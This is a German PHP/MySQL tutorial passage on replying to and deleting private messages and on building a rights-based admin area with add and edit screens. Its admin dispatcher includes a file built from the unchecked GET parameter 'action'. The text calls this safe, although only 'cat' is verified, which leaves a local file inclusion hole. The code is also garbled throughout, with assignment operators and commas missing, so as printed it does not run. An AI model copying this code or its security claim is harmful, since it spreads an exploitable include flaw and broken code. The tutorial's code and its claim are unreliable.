7. Auf eine Nachricht antworten

Der Programmteil zum Antworten auf einer Nachricht ist vergleichbar mit dem Programmteil zum Schreiben einer Nachricht nur das der Empfänger schon feststeht und der Betreff schon vorhanden ist.

Die Template-Datei sieht wie folgt aus.

<?php
/* Daten:
 *     ID - Die ID der Nachricht
 *     Ziel - Der Empfänger der Nachricht
 *     Betreff - Der alte Betreff der Nachricht
 */
?><form action="index.php?section=pm&amp;action=reply&amp;ID=<?php echo $data['ID']; ?>" method="post">
    <fieldset>
        <legend>Auf Nachricht antworten</legend>
        <label>Empfänger: <?php echo htmlspecialchars($data['Ziel']); ?></label>
        <label>Betreff: <input type="text" name="Betreff" value="Re: <?php echo htmlspecialchars($data['Betreff']); ?>" /></label>
        <label>Nachricht: <textarea name="Inhalt" cols="40" rows="10"></textarea></label>
        <input type="submit" name="formaction" value="Nachricht senden" />
    </fieldset>
</form>

Im PHP-Skript müssen wir nun zuerst die GET-Variable ID prüfen und die alten Nachricht auslesen.

<?php
$ret 
= array();
$ret['filename'] = 'pm_reply.tpl';
$ret['data'] = array();
if (!isset(
$_GET['ID'])) {
    return 
INVALID_LINK;
}
if ((
$ID trim($_GET['ID'])) == '') {
    return 
'Bitte geben sie eine gültige ID an.';
}
$sql 'SELECT
            Nachricht.ID,
            Nachricht.Quelle,
            User.Username,
            Nachricht.Betreff
        FROM
            Nachricht
        JOIN
            User
        ON
            Nachricht.Quelle = User.ID
        WHERE
            Nachricht.ID = ? AND
            Nachricht.Ziel = ?'
;
if (!
$stmt $db->prepare($sql)) {
    return 
$db->error;
}
$stmt->bind_param('ii'$ID$UserID);
if (!
$stmt->execute()) {
    return 
$stmt->error;
}
$stmt->bind_result($ID$Quelle$Username$Betreff);
if (!
$stmt->fetch()) {
    return 
'Die Nachricht existiert nicht oder sie haben keine Berechtigung die Nachricht zu betrachten.';
}
$stmt->close();
$ret['data']['ID'] = $ID;
$ret['data']['Ziel'] = $Username;
$ret['data']['Betreff'] = $Betreff;
return 
$ret;    
?>

Wenn das Skript mit der POST-Methode aufgerufen wird fügen wir die Daten für eine neue Nachricht in die Datenbank ein.

<?php
// [...]
if (!$stmt->fetch()) {
    return 
'Die Nachricht existiert nicht oder sie haben keine Berechtigung die Nachricht zu betrachten.';
}
$stmt->close();
if (
'POST' == $_SERVER['REQUEST_METHOD']) {
    if (!isset(
$_POST['Betreff'], $_POST['Inhalt'])) {
        return 
INVALID_FORM;
    }
    if ((
$Betreff trim($_POST['Betreff'])) == '' OR
            (
$Inhalt trim($_POST['Inhalt'])) == '') {
        return 
EMPTY_FORM;
    }
    
$sql 'INSERT INTO
                Nachricht(Quelle,Ziel,Datum,Betreff,Inhalt)
            VALUES
                (?,?,NOW(),?,?)'
;
    if (!
$stmt $db->prepare($sql)) {
        return 
$db->error;
    }
    
$stmt->bind_param('iiss'$UserID$Quelle$Betreff$Inhalt);
    if (!
$stmt->execute()) {
        return 
$stmt->error;
    }
    return 
showInfo('Die Antwort wurde verschickt.');
}

$ret['data']['ID'] = $ID;
$ret['data']['Ziel'] = $Username;
$ret['data']['Betreff'] = $Betreff;
return 
$ret;    
?>

Zur Bestätigung wird zum Schluss noch eine Meldung angezeigt. Nicht wundern dass die Variable $Quelle den Wert für die Spalte Ziel enthält, da wir ja eine Antwort schreiben und die ID vom Sender übernehmen müssen.

8. Nachrichten löschen

Zuletzt fügen wir noch den Quellcode hinzu um Nachrichten zu löschen. In der Übersicht finden wir schon Formularelemente mit denen wir Nachrichten auswählen und löschen können. Wenn wir das Formular jedoch abschicken erhalten wir momentan die Fehlermeldung Warning: include(pm_delete.php) [function.include]: failed to open stream: No such file or directory in /.../pm.php on line 12. Diese schreiben wir nun. Die IDs der zu löschenden Nachrichten werden als Array übertragen. Jedoch prüfen wir zuerst ob die Daten vorhanden sind.

<?php
if (!isset($_POST['ID'])) {
    return 
'Bitte wählen sie mindestens eine Nachricht zum löschen aus.';
}
if (!
is_array($_POST['ID'])) {
    return 
INVALID_FORM;
}
foreach (
$_POST['ID'] as $ID) {
    
// [...]
}
return 
showInfo('Alle markierten Nachrichten wurden gelöscht');
?>

Für jede ID müssen wir überprüfen ob die Nachricht existiert und ob es unsere Nachricht ist. Wir definieren vor der Schleife das MySQL-Statement und füllen es innerhalb der Schleife mit Daten.

<?php
if (!isset($_POST['ID'])) {
    return 
'Bitte wählen sie mindestens eine Nachricht zum löschen aus.';
}
if (!
is_array($_POST['ID'])) {
    return 
INVALID_FORM;
}
$sql 'DELETE FROM
            Nachricht
        WHERE
            ID = ? AND
            Ziel = ?'
;
if (!
$stmt $db->prepare($sql)) {
    return 
$db->error;
}
foreach (
$_POST['ID'] as $ID) {
    
$stmt->bind_param('ii'$ID$UserID);
    if (!
$stmt->execute()) {
        return 
$stmt->error;
    }
}
return 
showInfo('Alle markierten Nachrichten wurden gelöscht');
?>

Und somit sind wir mit allem Fertig. Wir können Nachrichten schreiben, lesen und löschen, sowie auf Nachrichten antworten (auch wenn sie ganz normale Nachrichten sind).

Fragen zum Kapitel

Keine Fragen zum Kapitel vorhanden

Adminbereich

  1. Eigenen Adminbereich schreiben
  2. Hilfsfunktionen schreiben
  3. Übersicht des Adminbereichs
  4. Admin hinzufügen
  5. Admin bearbeiten
  6. Admin löschen

1. Eigenen Adminbereich schreiben

Früher oder später benötigen wir einen Bereich um unsere Bereiche zu steuern wie z.B. neue Newseinträge schreiben. Und dann ist es nicht nur eine Person die an dem System arbeiten sondern mehrere Personen, die dann auch noch unterschiedliche Zugriffsrechte haben sollen. Daher brauchen wir ein Rechtesystem mit dem wir steuern können welcher Benutzer was machen darf.

Früher hat man dies mit Bitmasken erstellt. So wurde in einer Zahl kodiert welche Rechte ein Benutzer hat. So bedeutete die Zahl 5 das der Benutzer das Recht 4 (2^2) und 1 (2^0) besas was dann z.B. den Benutzer für den News-Bereich und Download-Bereich authorisierte. Dies sind jedoch Steinzeitmethoden. Wir besitzen eine relationale Datenbank also nutzen wir sie auch.

Für unser Adminbereich definieren wir zuerst eine Tabelle die alle möglichen Rechtenamen enthält.

Die SQL-Anfrage sieht wie folgt aus.

CREATE TABLE Rechteliste (
    ID INT UNSIGNED NOT NULL AUTO_INCREMENT PRIMARY KEY,
    Name VARCHAR(30) NOT NULL 
);

Das Recht mit der ID 1 setzen wir auf Admin. Dies können wir z.B. mit phpMyAdmin hinzufügen. Zum testen fügen wir noch weitere Rechte mit den Bezeichnungen Recht 1, Recht 2 und Recht 3 hinzu. Aufgrund der AUTO_INREMENT-Eigenschaft werden diese Rechte die IDs 2, 3 und 4 bekommen.

Da wir nun die Rechteliste haben müssen wir für jeden User speichern welche Rechte er besitzt. Hierfür verwenden wir eine neue Tabelle Adminrechte. Sie besitzt 2 Spalten die ein UserID mit einem Recht verbindet.

Wie man sieht haben beide Spalten weder ein AUTO_INCREMENT- noch ein PRIMARY KEY-Attribut. Diese sind in dieser Tabelle nicht nötig da wir einen Datensatz durch beide Werte bereits eindeutig identifizieren können. Diese Tabelle kann dann mittels phpMyAdmin oder durch folgende SQL-Anfrage hinzugefügt werden.

CREATE TABLE Adminrechte (
    UserID INT UNSIGNED NOT NULL,
    RechtID INT UNSIGNED NOT NULL 
);

Für jedes Recht das ein Benutzer hat wird ein neuer Datensatz hinzugefügt. Wenn z.B. der Benutzer mit der ID 5 das Recht mit der ID 7 besitzt so wird der Datensatz (5,7) hinzugefügt. Wenn er dieses Recht nicht mehr besitzt so wird der Datensatz wieder gelöscht. So kann ganz dynamisch die Tabelle gefüllt werden die die Rechte der einzelnen Benutzer angibt.

Zum Testen müssen wir unserem Benutzeraccount das Admin-Recht geben. Da die eigene UserID wahrscheinlich 1 ist und das Admin-Recht die ID 1 besitzt müssen wir über phpMyAdmin manuell den Datensatz (1,1) hinzufügen.

2. Hilfsfunktionen schreiben

Für unseren Adminbereich und für die einzelnen Unterbereiche brauchen wir zwei Hilfsfunktionen um zu überprüfen ob der Benutzer das Recht hat die Bereiche zu verwenden.

  1. bool hasRight(MySQLi $db, String $right) - Mit dieser Funktion soll überprüft werden ob der angemeldete Benutzer das angegebene Recht besitzt. Der erste Parameter wird dabei unser MySQLi-Objekt sein, der zweite Parameter das zu prüfende Recht.

    <?php
    /**
     * Prüft ob der angemeldete Benutzer das angegeben Recht hat.
     *
     * Mit dieser Funktion kann überprüft werden ob der angemeldete Benutzer
     * das angegebene Recht besitzt. Wenn die Parameter ungültig sind oder
     * ein MySQL-Fehler auftrat wird das PHP-Skript mit einer Fehlermeldung
     * beendet.
     *
     * @param db Das MySQLi-Objekt zur Datenbank
     * @param right Der Name vom zu prüfenden Recht
     * @return True wenn der angemeldete Benutzer das Recht hat, sonst false
     */
    function hasRight($db$right) {
        if (!(
    $db instanceof MySQLi)) {
            die(
    'Erster Parameter muss ein MySQLi-Objekt sein.');
        }
        if (!
    is_string($right)) {
            die(
    'Zweiter Parameter muss ein String sein.');
        }
        if (!
    $UserID getUserID($db)) {
            return 
    false;
        }
        
    $sql 'SELECT
                    Adminrechte.UserID
                FROM
                    Adminrechte
                JOIN
                    Rechteliste
                ON
                    Adminrechte.RechtID = Rechteliste.ID
                WHERE
                    Adminrechte.UserID = ? AND
                    Rechteliste.Name = ?'
    ;
        if (!
    $stmt $db->prepare($sql)) {
            
    // wir lassen das skript beenden, nicht so wie in der getUserID-Funktion
            
    die ('MySQL-Fehler: '.$db->error);
        }
        
    $stmt->bind_param('is'$UserID$right);
        if (!
    $stmt->execute()) {
            die (
    'MySQL-Statement-Fehler: '.$stmt->error); // s.o.
        
    }
        
    $stmt->bind_result($UserID); // interessiert eh keinen
        
    $ret $stmt->fetch(); // ist true wenn ein Datensatz vorhanden ist oder
                               // NULL wenn nicht (und false wenn ein fehler auftrat)
        
    $stmt->close();
        return (bool)
    $ret;
    }

    Untypisch für unser System beenden wir das PHP-Skript bei einem MySQL-Fehler. Wie gern würden wir hier Exceptions benutzen, jedoch haben wir weder gelernt was Exceptions sind noch benutzt die MySQLi-Extension Exceptions wie wir sie brauchen. Der Rückgabewert wird zu Boolean gecasted damit er entweder true oder false ist.

  2. bool gotSomeRights(MySQLi $db) - Diese Funktion überprüft ob der angemeldete Benutzer mindestens ein Recht besitzt. Anhand der Funktion können wir steuern ob der Adminbereich dargestellt wird oder nicht. Der erste Parameter ist dabei das MySQLi-Objekt.

    <?php
    /**
     * Prüft ob der angemeldete Benutzer mindestens ein Recht besitzt.
     *
     * Mit dieser Funktion kann überprüft werden ob der angemeldete
     * Benutzer mindestens ein Recht besitzt. Wenn der Parameter 
     * ungültig ist oder ein MySQL-Fehler auftrat wird das
     * PHP-Skript mit einer Fehlermeldung beendet.
     *
     * @param db Das MySQLi-Objekt
     * @return True wenn der angemeldete Benutzer mindestens ein Recht besitzt, sonst false.
     */
    function gotSomeRights($db) {
        if (!(
    $db instanceof MySQLi)) {
            die(
    'Erster Parameter muss ein MySQLi-Objekt sein');
        }
        if (!
    $UserID getUserID($db)) {
            return 
    false;
        }
        
    $sql 'SELECT
                    UserID
                FROM
                    Adminrechte
                WHERE
                    UserID = ?'
    ;
        if (!
    $stmt $db->prepare($sql)) {
            die(
    'MySQL-Fehler: '.$db->error);
        }
        
    $stmt->bind_param('i'$UserID);
        if (!
    $stmt->execute()) {
            die(
    'MySQL-Statement-Fehler: '.$db->error);
        }
        
    $stmt->bind_result($UserID);
        
    $ret $stmt->fetch();
        
    $stmt->close();
        return (bool)
    $ret;
    }
    ?>

Beide Funktionen fügen wir dann in die functions.php-Datei ein.

3. Übersicht des Adminbereichs

In den Adminbereich soll man nur gelangen wenn man mindestens ein Recht besitzt, daher auch die Funktion gotSomeRights(MySQLi). Außerdem darf der Adminbereich nur die Bereiche anzeigen zu den der Benutzer auch das Recht hat. Die Unterbereiche ihrerseids müssen überprüfen ob der angemeldete Benutzer auch das Recht hat den entsprechenden Bereich zu nutzen.

Zuerst definieren wir wieder unsere Template-Datei, in diesem Fall die admin.tpl.

<?php
/* Daten:
 *     Rechteliste - Ein Array mit allen möglichen Rechten. Bei einem Element ist der
 *                   Schlüssel die RechtID und der Wert der Name vom Recht.
 *     Userrechte - Ein Array mit allen Rechten die der angemeldete Benutzer besitzt.
 *                  Die Werte entsprechend die IDs von den Rechten.
 */
?><table id="admin">
     <caption>Adminbereich</caption>
     <thead>
         <tr>
             <th>Bereich</th>
             <th colspan="3">Aktionen</th>
         </tr>
     </thead>
     <tbody>
         <?php foreach($data['Rechteliste'] as $key => $value) {
                   if (in_array($key, $data['Userrechte'])) { ?>
        <tr>
            <th><?php echo $value; ?></th>
            <td><a href="index.php?section=admin&amp;cat=<?php echo rawurlencode($value); ?>&amp;action=add">Hinzufügen</a></td>
            <td><a href="index.php?section=admin&amp;cat=<?php echo rawurlencode($value); ?>&amp;action=edit">Bearbeiten</a></td>
            <td><a href="index.php?section=admin&amp;cat=<?php echo rawurlencode($value); ?>&amp;action=del">Löschen</a></td>
        </tr>
        <?php      } else { ?>
        <tr>
            <th><?php echo $value; ?></th>
            <td>Hinzufügen</td>
            <td>Bearbeiten</td>
            <td>Löschen</td>
        </tr>
        <?php      }
                } ?>
     </tbody>
</table>

Wie man sieht werden wir später die Bereiche immer auf die gleiche Weise aufrufen. Wir sehen auch das der Name des Rechts als cat-Parameter an das Admin-Skript übergeben wird. Und wir geben den Wert $value (der den Namen des Rechts enthält) direkt aus, daher sollten unsere Rechte in der Rechteliste-Tabelle keine HTML-Zeichen enthalten (und sonst auch Zeichen die für URLs ungemütlich werden können).

Die Include-Datei admin.php enthält zuerst einige Abfragen ob der Adminbereich geladen werden kann und holt dann aus der Datenbank die Informationen zu den Rechten.

<?php
$ret 
= array();
$ret['filename'] = 'admin.tpl';
$ret['data'] = array();
if (!
$UserID getUserID($db)) {
    return 
NOT_LOGGED_IN;
}
if (!
gotSomeRights($db)) {
    return 
NO_RIGHTS;
}
$sql 'SELECT
            ID,
            Name
        FROM
            Rechteliste
        ORDER BY
            Name ASC'
;
if (!
$res $db->query($sql)) {
    return 
$db->error;
}
$Rechteliste = array();
// beachtet, $res ist "nur" ein MySQLi_Result-Objekt, kein MySQLi_STMT-Objekt
while ($row $res->fetch_assoc()) {
    
$Rechteliste[$row['ID']] = $row['Name'];
}
$res->free_result();

$sql 'SELECT
            RechtID
        FROM
            Adminrechte
        WHERE
            UserID = ?'
;
if (!
$stmt $db->prepare($sql)) {
    return 
$db->error;
}
$stmt->bind_param('i'$UserID);
if (!
$stmt->execute()) {
    return 
$stmt->error;
}
$Userrights = array();
$stmt->bind_result($RechtID);
while (
$stmt->fetch()) {
    
$Userrights[] = $RechtID;
}
$stmt->close();
$ret['data']['Rechteliste'] = $Rechteliste;
$ret['data']['Userrechte'] = $Userrights;
return 
$ret;
?>

Je nach dem für welche Bereiche man Rechte besitzt werden die Links angezeigt. Zum testen sind dies nur die Links für den Bereich für die Admin-Verwaltung. Die Konstante NO_RIGHTS muss natürlich in der constants.php-Datei definiert werden.

Damit wir die entsprechend Bereiche laden müssen wir auf die GET-Variablen cat und action reagieren. Dazu reichen einfache If-Abfragen und include-Zeilen die die Dateien admin_{cat}_{action}.php aufrufen.

<?php
// [...]
while ($stmt->fetch()) {
    
$Userrights[] = $RechtID;
}
$stmt->close();

if (isset(
$_GET['cat'], $_GET['action'])) {
    if (!
hasRight($db$_GET['cat'])) {
        
// man hätte auch in_array() auf $Userrights anwenden können,
        // wo wir das array schon haben ...
        
return NO_RIGHTS;
    }
    return include 
'admin_'.str_replace(' ''_'$_GET['cat']).'_'.$_GET['action'].'.php';
}

$ret['data']['Rechteliste'] = $Rechteliste;
$ret['data']['Userrechte'] = $Userrights;
return 
$ret;
?>

Da, wie gesagt, Dateien der Form admin_{cat}_{action}.php geladen werden sind wir in der Bezeichnung der Rechte eingeschränkt und sollten nicht exotische Zeichen wie § verwenden. Des Weiteren sieht es so aus als ob das System unsicher ist da wir den Dateinamen dynamisch aus Usereingaben generieren. Jedoch wird das Ganze durch die Funktionen hasRight(MySQLi, String) abgesichert.

4. Admin hinzufügen

Wir werden zwei Schritte verwenden um einen Admin hinzuzufügen. Zuerst wählen wir Anhand der User-ID den Benutzer aus. Wenn der Benutzer gefunden wird zeigen wir ein Formular an in dem wir die Rechte auswählen können die der neue Admin haben soll. Wir brauchen also zwei verschiede Templates. Daher definieren wir zuerst die Template-Datei admin_Admin_add_userselect.tpl.

<form action="index.php?section=admin&amp;cat=Admin&amp;action=add" method="post">
    <fieldset>
        <legend>Benutzer auswählen</legend>
        <label>Benutzer ID: <input type="text" name="BenutzerID" /></label>
        <input type="submit" name="formaction" value="Benutzer wählen" />
    </fieldset>
</form>

Die zweite Template-Datei, die admin_Admin_add_selectrights.tpl, sieht wie folgt aus.

<?php
/* Daten:
 *    BenutzerID - Die ID des Benutzers der zum Admin befördert werden soll
 *    Username - Der Name vom Benutzer
 *    Rechte - Ein Array mit allen möglichen Rechten. Bei einem Arrayelement ist
 *             der Schlüssel die ID und der Wert der Name vom Recht.
 */
?><form action="index.php?section=admin&amp;cat=Admin&amp;action=add" method="post">
    <fieldset>
        <legend>Rechte einstellen</legend>
        <p class="info">
            Name: <?php echo htmlspecialchars($data['Username']); ?>
        </p>
        <fieldset>
            <legend>Rechte auswählen</legend>
            <?php foreach ($data['Rechte'] as $key => $value) { ?>
            <label><input type="checkbox" name="Recht[]" value="<?php echo $key; ?>" /><?php echo htmlspecialchars($value); ?></label>
            <?php } ?>
        </fieldset>
        <input type="submit" name="formaction" value="Admin hinzufügen" />
        <input type="hidden" name="BenutzerID" value="<?php echo $data['BenutzerID']; ?>" />
    </fieldset>
</form>

Das Skript wird mit zuerst mit der GET-Methode aufgerufen und dann später mit der POST-Methode. Bei der POST-Methode können wir das formaction-Feld abfragen und die entsprechenden Aktionen durchführen. Unsere Include-Datei admin_Admin_add.php sieht zuerst wie folgt aus.

<?php
$ret 
= array();
$ret['data'] = array();
$ret['filename'] = 'admin_Admin_add_userselect.tpl';
if (
'POST' != $_SERVER['REQUEST_METHOD']) {
    return 
$ret;
}
?>

Wenn das Skript mit der POST-Methode aufgerufen wird müssen wir die Eingaben verarbeiten. Zuerst überprüfen wir ob die BenutzerID existiert und ob der Benutzer bereits ein Admin ist oder nicht. Diese Überprüfungen gelten für beide Bereiche Benutzer wählen und Admin hinzufügen.

<?php
// [...]
if ('POST' != $_SERVER['REQUEST_METHOD']) {
    return 
$ret;
}
if (!isset(
$_POST['BenutzerID'], $_POST['formaction'])) {
    return 
INVALID_FORM;
}
if (
'' == $BenutzerID trim($_POST['BenutzerID'])) {
    return 
EMPTY_FORM;
}
$sql 'SELECT
            ID,
            Username
        FROM
            User
        WHERE
            ID = ?'
;
if (!
$stmt $db->prepare($sql)) {
    return 
$db->error;
}
$stmt->bind_param('i'$BenutzerID);
if (!
$stmt->execute()) {
    return 
$stmt->error;
}
$stmt->bind_result($BenutzerID$Username);
if (!
$stmt->fetch()) {
    return 
'Es existiert kein Benutzer mit dieser ID.';
}
$stmt->close();
$sql 'SELECT
            UserID
        FROM
            Adminrechte
        WHERE
            UserID = ?'
;
if (!
$stmt $db->prepare($sql)) {
    return 
$db->error;
}
$stmt->bind_param('i'$BenutzerID);
if (!
$stmt->execute()) {
    return 
$stmt->error;
}
$stmt->store_result();
if (
$stmt->num_rows) {
    return 
'Der Benutzer ist bereits als Admin vorhanden.';
    
// dies schließt auch die eigene Benutzer ID mit ein, da man sonst
    // nicht den Adminbereich betreten hätte können
}
$stmt->close();
?>

Da nun die Benutzer-ID gültig ist können wir auf die Formulardaten reagieren.

<?php
// [...]
if ($stmt->num_rows) {
    return 
'Der Benutzer ist bereits als Admin vorhanden.';
    
// dies schließt auch die eigene Benutzer ID mit ein, da man sonst
    // nicht den Adminbereich betreten hätte können
}
$stmt->close();
if (
'Admin hinzufügen' == $_POST['formaction']) {
    
// todo
} else {
    
$sql 'SELECT
                ID,
                Name
            FROM
                Rechteliste
            ORDER BY
                Name ASC'
;
    if (!
$res $db->query($sql)) {
        return 
$db->error;
    }
    
$Rechteliste = array();
    while (
$row $res->fetch_assoc()) {
        
$Rechteliste[$row['ID']] = $row['Name'];
    }
    
$res->free_result();
    
$ret['data']['BenutzerID'] = $BenutzerID;
    
$ret['data']['Username'] = $Username;
    
$ret['data']['Rechte'] = $Rechteliste;
    
$ret['filename'] = 'admin_Admin_add_selectrights.tpl';
    return 
$ret;
}
?>

In den If-Teil müssen wir nun die Checkboxen auslesen und dann ggf. in die Adminrechte-Tabelle schreiben.

<?php
// [...]
if ('Admin hinzufügen' == $_POST['formaction']) {
    if (!isset(
$_POST['Recht'])) {
        return 
'Bitte wähl mindestens ein Recht aus.';
        
// oder return EMPTY_FORM;, was man halt lieber mag
    
}
    if (!
is_array($_POST['Recht'])) {
        return 
INVALID_FORM;
    }
    
// prüfen ob alle IDs gültig sind
    
$IDs = array();
    
$sql 'SELECT
                ID
            FROM
                Rechteliste
            WHERE
                ID = ?'
;
    if (!
$stmt $db->prepare($sql)) {
        return 
$db->error;
    }
    foreach (
$_POST['Recht'] as $Recht) {
        
$stmt->bind_param('i'$Recht);
        if (!
$stmt->execute()) {
            return 
$stmt->error;
        }
        
$stmt->bind_result($Recht);
        if (!
$stmt->fetch()) {
            return 
'Es wurde kein Recht mit der angegebenen ID gefunden.';
        }
        
$IDs[] = $Recht;
    }
    
$stmt->close();
    
// alle IDs sind gültig, speichern
    
$sql 'INSERT INTO
                Adminrechte (UserID, RechtID)
            VALUES
                (?,?)'
;
    if (!
$stmt $db->prepare($sql)) {
        return 
$db->error;
    }
    foreach (
$IDs as $Recht) {
        
$stmt->bind_param('ii'$BenutzerID$Recht);
        if (!
$stmt->execute()) {
            return 
$stmt->error;
        }
    }
    
$stmt->close();
    return 
showInfo('Der Admin wurde mit den ausgewählten Rechten hinzugefügt.');
} else {
    
// [...]
}
?>

Für jede ID im Recht-Array prüfen wir ob es auch wirklich ein Recht mit dieser ID gibt. Wenn alles IDs gültig sind werden sie mit einer foreach-Schleife in die Datenbank gespeichert.

5. Admin bearbeiten

Die Bearbeitung eines Admins benutzt fast die selben Formulare wie das Hinzufügen eines Admins. Jedoch müssen ne Idee mehr Abfragen eingebaut werden da z.B. ein Admin sich nicht selbst ausschließen darf.

Da wir mehrere Formulare benötigen brauchen wir wieder getrennte Template-Dateien. Zuerst die admin_Admin_edit_selectadmin.tpl-Datei.

<form action="index.php?section=admin&amp;cat=Admin&amp;action=edit" method="post">
    <fieldset>
        <legend>Admin wählen</legend>
        <label>Benutzer ID: <input type="text" name="AdminID" value="" /></label>
        <input type="submit" name="formaction" value="Admin wählen" />
    </fieldset>
</form>

Und nun die Template-Datei admin_Admin_edit_rights.tpl.

<?php
/* Daten:
 *     AdminID - Die ID vom Admin
 *     Username - Der Name vom Admin
 *     Rechteliste - Eine Liste aller möglichen Rechte. Bei einem Arrayelement ist
 *                   der Schlüssel die ID und der Wert der Name vom Recht.
 *     Adminrechte - Ein Array mit Rechte-IDs die der Admin bereits besitzt.
 */
?><form action="index.php?section=admin&amp;cat=Admin&amp;action=edit" method="post">
    <fieldset>
        <legend>Rechte bearbeiten</legend>
        <p class="info">
            Admin: <?php echo htmlspecialchars($data['Username']); ?>
        </p>
        <fieldset>
            <legend>Rechte</legend>
            <?php foreach ($data['Rechteliste'] as $key => $value) {
                if (in_array($key, $data['Adminrechte'])) { ?>
                <label><input type="checkbox" name="Recht[]" value="<?php echo $key; ?>" checked="checked" />
                <?php } else { ?>
                <label><input type="checkbox" name="Recht[]" value="<?php echo $key; ?>" />
                <?php } ?>
                <?php echo htmlspecialchars($value); ?></label>
            <?php } ?>
        </fieldset>
        <input type="submit" name="formaction" value="Rechte speichern" />
        <input type="hidden" name="AdminID" value="<?php echo $data['AdminID']; ?>" />
    </fieldset>
</form>

Zuerst zeigen wir mit unserere Include-Datei admin_Admin_edit.php die erste Template-Datei wenn das Skript mit der GET-Methode aufgerufen wird.

<?php
$ret 
= array();
$ret['filename'] = 'admin_Admin_edit_selectadmin.tpl';
$ret['data'] = array();
if (
'POST' != $_SERVER['REQUEST_METHOD']) {
    return 
$ret;
}
?>

Wie für den PHP-Code zum hinzufügen von Admins prüfen wir ob es ein Admin mit der gegebenen Admin-ID gibt.

<?php
// [...]
if ('POST' != $_SERVER['REQUEST_METHOD']) {
    return 
$ret;
}
if (!isset(
$_POST['AdminID'], $_POST['formaction'])) {
    return 
INVALID_FORM;
}
if (
'' == $AdminID trim($_POST['AdminID'])) {
    return 
EMPTY_FORM;
}
$sql 'SELECT
            UserID
        FROM
            Adminrechte
        WHERE
            UserID = ?'
;
if (!
$stmt $db->prepare($sql)) {
    return 
$db->error;
}
$stmt->bind_param('i'$AdminID);
if (!
$stmt->execute()) {
    return 
$stmt->error;
}
$stmt->bind_result($AdminID);
if (!
$stmt->fetch()) {
    return 
'Es wurde kein Admin mit dieser ID gefunden.';
}
$stmt->close();
?>

Da die Admin-ID gültig ist prüfen wir den Wert von $_POST['formaction'] und rufen aus der Datenbank die Datensätze ab.

<?php
// [...]
if (!$stmt->fetch()) {
    return 
'Es wurde kein Admin mit dieser ID gefunden.';
}
$stmt->close();
if (
'Rechte speichern' == $_POST['formaction']) {
    
// todo
} else {
    
$sql 'SELECT
                ID,
                Name
            FROM
                Rechteliste
            ORDER BY
                Name ASC'
;
    if (!
$res $db->query($sql)) {
        return 
$db->error;
    }
    
$Rechteliste = array();
    while (
$row $res->fetch_assoc()) {
        
$Rechteliste[$row['ID']] = $row['Name'];
    }
    
$res->free_result();

    
$sql 'SELECT
                RechtID
            FROM
                Adminrechte
            WHERE
                UserID = ?'
;
    if (!
$stmt $db->prepare($sql)) {
        return 
$db->error;
    }
    
$stmt->bind_param('i'$AdminID);
    
$Adminrechte = array();
    if (!
$stmt->execute()) {
        return 
$stmt->error;
    }
    
$stmt->bind_result($RechtID);
    while(
$stmt->fetch()) {
        
$Adminrechte[] = $RechtID;
    }
    
$stmt->close();    

    
$sql 'SELECT
                Username
            FROM
                User
            WHERE
                ID = ?'
;
    if (!
$stmt $db->prepare($sql)) {
        return 
$db->error;
    }
    
$stmt->bind_param('i'$AdminID);
    if (!
$stmt->execute()) {
        return 
$stmt->error;
    }
    
$stmt->bind_result($Username);
    if (!
$stmt->fetch()) {
        
// Wenn dieser Code ausgeführt wird ist wirklich was
        // schiefgegangen.
        
return 'Konnte nicht den Benutzernamen laden.';
    }
    
$stmt->close();

    
$ret['data']['AdminID'] = $AdminID;
    
$ret['data']['Username'] = $Username;
    
$ret['data']['Rechteliste'] = $Rechteliste;
    
$ret['data']['Adminrechte'] = $Adminrechte;
    
$ret['filename'] = 'admin_Admin_edit_rights.tpl';
    return 
$ret;
}
?>

In dem Teil für Rechte speichern müssen wir neben dem Speichern auch überprüfen ob sich der letzte Admin ausschließen will indem er sich das Admin-Recht wegnimmt. Um die neuen Rechte zu speichern löschen wir alle alten Rechte und fügen dann die Rechte neu ein. Das erspart uns einiges an Programmlogik die entsprechen würde wenn wir z.B. nur die Rechte löschen die überflüssig sind oder nur die Datensätze hinzufügen die neu sind.

<?php
// [...]
if ('Rechte speichern' == $_POST['formaction']) {
    if (!isset(
$_POST['Recht'])) {
        return 
'Der Admin muss mindestens ein Recht besitzen.';
    }
    if (!
is_array($_POST['Recht'])) {
        return 
INVALID_FORM;
    }
    
// prüfen ob alle IDs gültig sind.
    
$IDs = array();
    
$sql 'SELECT
                ID
            FROM
                Rechteliste
            WHERE
                ID = ?'
;
    if (!
$stmt $db->prepare($sql)) {
        return 
$db->error;
    }
    foreach (
$_POST['Recht'] as $RechtID) {
        
$stmt->bind_param('i'$RechtID);
        if (!
$stmt->execute()) {
            return 
$stmt->error;
        }
        
$stmt->bind_result($RechtID);
        if (!
$stmt->fetch()) {
            return 
'Es wurde kein Recht mit der angegebenen ID gefunden.';
        }
        
$IDs[] = $RechtID;
    }
    
$stmt->close();
    
// IDs sind gültig, gucken ob der letzte admin sich ausschließen würde.
    // Hier gehen wir davon aus das 1 das Admin-Recht ist.
    
if (!in_array(1$IDs)) {
        
// Wenn die 1 drin ist ist es eh egal, dann kriegt er ja
        // das Admin-Recht, aber so müssen wir es überprüfen.
        
$sql 'SELECT
                    UserID
                FROM
                    Adminrechte
                WHERE
                    UserID != ? AND
                    RechtID = 1'
;
        if (!
$stmt $db->prepare($sql)) {
            return 
$db->error;
        }
        
$stmt->bind_param('i'$AdminID);
        if (!
$stmt->execute()) {
            return 
$stmt->error;
        }
        
$stmt->store_result();
        if (!
$stmt->num_rows) {
            return 
'Sie können sich nicht selbst das Adminrecht nehmen da sonst '.
                   
'keine Admins mehr vorhanden sind.';
        }
        
$stmt->close();
    }
    
// alte Rechte löschen
    
$sql 'DELETE FROM
                Adminrechte
            WHERE
                USerID = ?'
;
    if (!
$stmt $db->prepare($sql)) {
        return 
$db->error;
    }
    
$stmt->bind_param('i'$AdminID);
    if (!
$stmt->execute()) {
        return 
$stmt->error;
    }
    
$stmt->close();
    
// neue Rechte hinzufügen
    
$sql 'INSERT INTO
                Adminrechte(UserID, RechtID)
            VALUES
                (?,?)'
;
    if (!
$stmt $db->prepare($sql)) {
        return 
$db->error;
    }
    foreach (
$IDs as $ID) {
        
$stmt->bind_param('ii'$AdminID$ID);
        if (!
$stmt->execute()) {
            return 
$stmt->error;
        }
    }
    
$stmt->close();
    return 
showInfo('Die Rechte vom Admin wurden gespeichert.');
} else {
    
// [...]
}
?>

Nun können die einzelnen Admins bearbeitet werden.

6. Admin löschen

Einen Admin zu löschen ist hingegen wieder ganz einfach. Da braucht man nur die Datensätze aus der Adminrechte-Tabelle zu löschen.

Da wir nur eine Template-Datei brauchen (zum Wählen des Admins) heißt die Datei nur admin_Admin_del.tpl.

